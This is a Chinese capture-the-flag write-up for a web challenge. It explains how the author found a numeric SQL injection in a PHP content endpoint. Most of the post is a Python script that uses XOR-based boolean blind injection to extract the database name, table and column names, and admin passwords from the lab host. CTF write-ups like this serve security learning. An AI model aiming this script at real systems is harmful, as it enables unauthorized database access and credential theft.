[Black Watch 入群题]Web

在这里插入图片描述
登录抓包
在这里插入图片描述
这是一段以json传入的数据,起初对着这个一直想json注入,然后发现怎样注入都行不通
回到热点列表
在这里插入图片描述
发现更改后面的数字会变,谷歌浏览器f12 network

在这里插入图片描述

在这里插入图片描述
发现有个php文件,进去
在这里插入图片描述
数据存放在这里了,输入双引号的时候发现弹出这个
在这里插入图片描述
sql注入无疑了
刚开始的id是1,由此推断可能是整形注入
但是联合查询,报错都没用
bp测试看他究竟过滤了啥

在这里插入图片描述
啥都没过滤
在这里插入图片描述
卡了挺久的,翻了翻自己博客
极客大挑战finalsql
异或布尔盲注
这题有个坑,他返回的是json的格式,我们进行json转换后,还得将它转为字符窜,才能正确找到

import requests

flag=''
#查库名
payload1 = '1^(ascii(substr((select(database())),{},1))>{})^1'    #库名为news

#查表名
payload2 = '1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'news\')),{},1))>{})^1' #表名为admin,contents

#查字段
payload3 = '1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'contents\')),{},1))>{})^1'   #admin表里有id,username,password,is_enable
                                                                                                                                              # contents表里有id,title,content,is_enable

#查字段值
payload4 = '1^(ascii(substr((select(group_concat(password))from(admin)),{},1))>{})^1'



for i in range(1,100):
    low =28
    high =137
    mid = (low + high) // 2

    while(low < high):
        url = 'http://4131c114-1800-4626-9601-5d7928856dd7.node3.buuoj.cn/backend/content_detail.php?id='
        payload = payload4.format(i,mid)
        url+=payload
        print(url)
        r = requests.get(url)
        text = str(r.json())

        if "札师傅缺个女朋友" in text:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2

    if(chr(mid)==''):
        break
    flag +=chr(mid)
    print(flag)

print(flag)

跑出来两组用户名和密码,输入第二组即可得到flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值